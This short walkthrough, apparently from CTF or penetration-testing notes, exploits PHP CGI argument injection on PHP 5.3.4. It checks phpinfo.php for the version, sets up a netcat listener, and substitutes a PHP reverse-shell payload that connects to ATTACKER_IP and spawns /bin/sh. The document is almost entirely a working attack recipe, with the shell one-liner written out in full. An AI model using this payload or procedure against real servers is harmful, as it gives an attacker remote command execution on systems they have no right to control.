CGI Argument Injection
-
Check if
phpinfo.phpfile is available to get the used PHP version. -
In this case, PHP version is 5.3.4 and CGI Argument Injection exploit can be used.
-
Set up a netcat listener:
nc -nlvp 1234
- Change the executed command to:
<?php $sock=fsockopen("ATTACKER_IP",1234);exec("/bin/sh -i <&4 >&4 2>&4");?>